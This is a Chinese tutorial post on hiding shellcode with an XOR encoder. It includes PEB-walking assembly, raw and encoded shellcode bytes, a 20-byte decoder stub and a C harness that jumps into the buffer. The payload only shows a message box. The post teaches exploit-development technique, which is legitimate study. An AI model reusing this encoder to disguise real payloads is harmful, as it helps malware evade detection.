shellcode结合了逆向中的壳的概念,为shellcode增加了一个简易壳(实际上就是进行了异或操作), 来看shellcode的源码:
__asm {
nop
cld
push 0x1E380A6A
push 0x4FD18963
push 0x0C917432
mov esi, esp
lea edi, [esi - 0xc]
xor ebx, ebx
mov bh, 0x04
sub esp, ebx
mov bx, 0x3233
push ebx
push 0x72657375
push esp
xor edx, edx
mov ebx, fs:[edx + 0x30]
mov ecx, [ebx + 0xC]
mov ecx, [ecx + 0x1C]
mov ecx, [ecx]
mov ebp, [ecx + 0x8]
find_lib_functions:
lodsd
cmp eax, 0x1E380A6A
jne find_functions
xchg eax, ebp
call [edi - 0x8]
xchg eax, ebp
find_functions:
pushad
mov eax, [ebp + 0x3C]
mov ecx, [ebp + eax + 0x78]
add ecx, ebp
mov ebx, [ecx + 0x20]
add ebx, ebp
xor edi, edi
next_function_loop:
inc edi
mov esi, [ebx + edi * 4]
add esi, ebp
cdq
hash_loop:
movsx eax, byte ptr[esi]
cmp al, ah
jz compare_hash
ror edx, 7
add edx, eax
inc esi
jmp hash_loop
compare_hash:
cmp edx, [esp + 0x1C]
jnz next_function_loop
mov ebx, [ecx + 0x24]
add ebx, ebp
mov di, [ebx + 2 * edi]
mov ebx, [ecx + 0x1C]
add ebx, ebp
add ebp, [ebx + 4 * edi]
xchg eax, ebp
pop edi
stosd
push edi
popad
cmp eax, 0x1e380a6a
jne find_lib_functions
function_call:
xor ebx, ebx
push ebx
push 0x74736577
push 0x6c696166
mov eax, esp
push ebx
push eax
push eax
push ebx
call [edi - 0x04]
push ebx
call [edi - 0x08]
nop
}
由于这段源码首先通过fs选择子找到TEB的位置,接着定位PEB, PEB_LDR_DATA... 最终找到kernel32.dll在内存中加载的基址。根据PE结构找到kernel32.dll的导出表,最终的目的是定位到ExitProcess和LoadLibrary的绝对地址。通过LoadLibrary加载user32.dll后获取MessageBoxA的绝对地址,最终弹出一个对话框后用ExitProcess结束进程。
这段shellcode的机器码如下所示:
char shellcode[] = {
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
};
对其进行异或加密后结果如下:
char shellcode[] = {
"\xb8\x2c\x2e\x4e\x7c\x5a\x2c\x27\xcd\x95\x0b\x2c\x76\x30\xd5\x48"
"\xcf\xb0\xc9\x3a\xb0\x77\x9f\xf3\x40\x6f\xa7\x22\xff\x77\x76\x17"
"\x2c\x31\x37\x21\x36\x10\x77\x96\x20\xcf\x1e\x74\xcf\x0f\x48\xcf"
"\x0d\x58\xcf\x4d\xcf\x2d\x4c\xe9\x79\x2e\x4e\x7c\x5a\x31\x41\xd1"
"\xbb\x13\xbc\xd1\x24\xcf\x01\x78\xcf\x08\x41\x3c\x47\x89\xcf\x1d"
"\x64\x47\x99\x77\xbb\x03\xcf\x70\xff\x47\xb1\xdd\x4b\xfa\x42\x7e"
"\x80\x30\x4c\x85\x8e\x43\x47\x94\x02\xaf\xb5\x7f\x10\x60\x58\x31"
"\xa0\xcf\x1d\x60\x47\x99\x22\xcf\x78\x3f\xcf\x1d\x58\x47\x99\x47"
"\x68\xff\xd1\x1b\xef\x13\x25\x79\x2e\x4e\x7c\x5a\x31\xed\x77\x9f"
"\x17\x2c\x33\x21\x37\x30\x2c\x22\x25\x2d\x28\xcf\x80\x17\x14\x14"
"\x17\xbb\x13\xb8\x17\xbb\x13\xbc\xd4"
};
这就是加密过后的shellcode了,接下去来写出解密程序:
#include <windows.h>
#include <stdio.h>
int main() {
__asm {
add eax, 0x14
xor ecx, ecx
decode_loop:
mov bl, [eax + ecx]
xor bl, 0x44
mov [eax + ecx], bl
inc ecx
cmp bl, 0x90
jne decode_loop
}
return(0);
}
这段代码的含义先不考虑,先提取机器码为如下:
char decoder[20] = {
"\x83\xC0\x14\x33\xC9\x8A\x1C\x08\x80\xF3\x44\x88\x1C\x08\x41\x80"
"\xFB\x90\x75\xF1"
}; // 从这开始往上是解码器shellcode
可以看到,这段解码代码一共20个字节, 接下去把解码代码和加密过后的shellcode进行组合后写出完整程序:
#include <windows.h>
#include <stdio.h>
char shellcode[] = {
"\x83\xC0\x14\x33\xC9\x8A\x1C\x08\x80\xF3\x44\x88\x1C\x08\x41\x80"
"\xFB\x90\x75\xF1" // 从这开始往上是解码器shellcode
"\xb8\x2c\x2e\x4e\x7c\x5a\x2c\x27\xcd\x95\x0b\x2c\x76\x30\xd5\x48"
"\xcf\xb0\xc9\x3a\xb0\x77\x9f\xf3\x40\x6f\xa7\x22\xff\x77\x76\x17"
"\x2c\x31\x37\x21\x36\x10\x77\x96\x20\xcf\x1e\x74\xcf\x0f\x48\xcf"
"\x0d\x58\xcf\x4d\xcf\x2d\x4c\xe9\x79\x2e\x4e\x7c\x5a\x31\x41\xd1"
"\xbb\x13\xbc\xd1\x24\xcf\x01\x78\xcf\x08\x41\x3c\x47\x89\xcf\x1d"
"\x64\x47\x99\x77\xbb\x03\xcf\x70\xff\x47\xb1\xdd\x4b\xfa\x42\x7e"
"\x80\x30\x4c\x85\x8e\x43\x47\x94\x02\xaf\xb5\x7f\x10\x60\x58\x31"
"\xa0\xcf\x1d\x60\x47\x99\x22\xcf\x78\x3f\xcf\x1d\x58\x47\x99\x47"
"\x68\xff\xd1\x1b\xef\x13\x25\x79\x2e\x4e\x7c\x5a\x31\xed\x77\x9f"
"\x17\x2c\x33\x21\x37\x30\x2c\x22\x25\x2d\x28\xcf\x80\x17\x14\x14"
"\x17\xbb\x13\xb8\x17\xbb\x13\xbc\xd4"
};
int main() {
__asm {
lea eax, shellcode
push eax
ret
}
return(0);
}
可以看到main函数中仅仅是获取shellcode的动态地址后直接跳转到该地址运行。由于执行过lea eax, shellcode所以跳转过去后eax的内容为shellcode的起始地址
来看一下ollydbg的内容:
retn后就直接调到了eax即shellcode位置进行执行
再来看一下解码器代码:
__asm {
add eax, 0x14
xor ecx, ecx
decode_loop:
mov bl, [eax + ecx]
xor bl, 0x44
mov [eax + ecx], bl
inc ecx
cmp bl, 0x90
jne decode_loop
}
第一句代码:
add eax, 0x14 ; 0x14 == 20
实际上就是越过解码器代码,获得被加密后的shellcode代码地址, 之后通过循环解密。
shellcode就露出了真面目。
(完)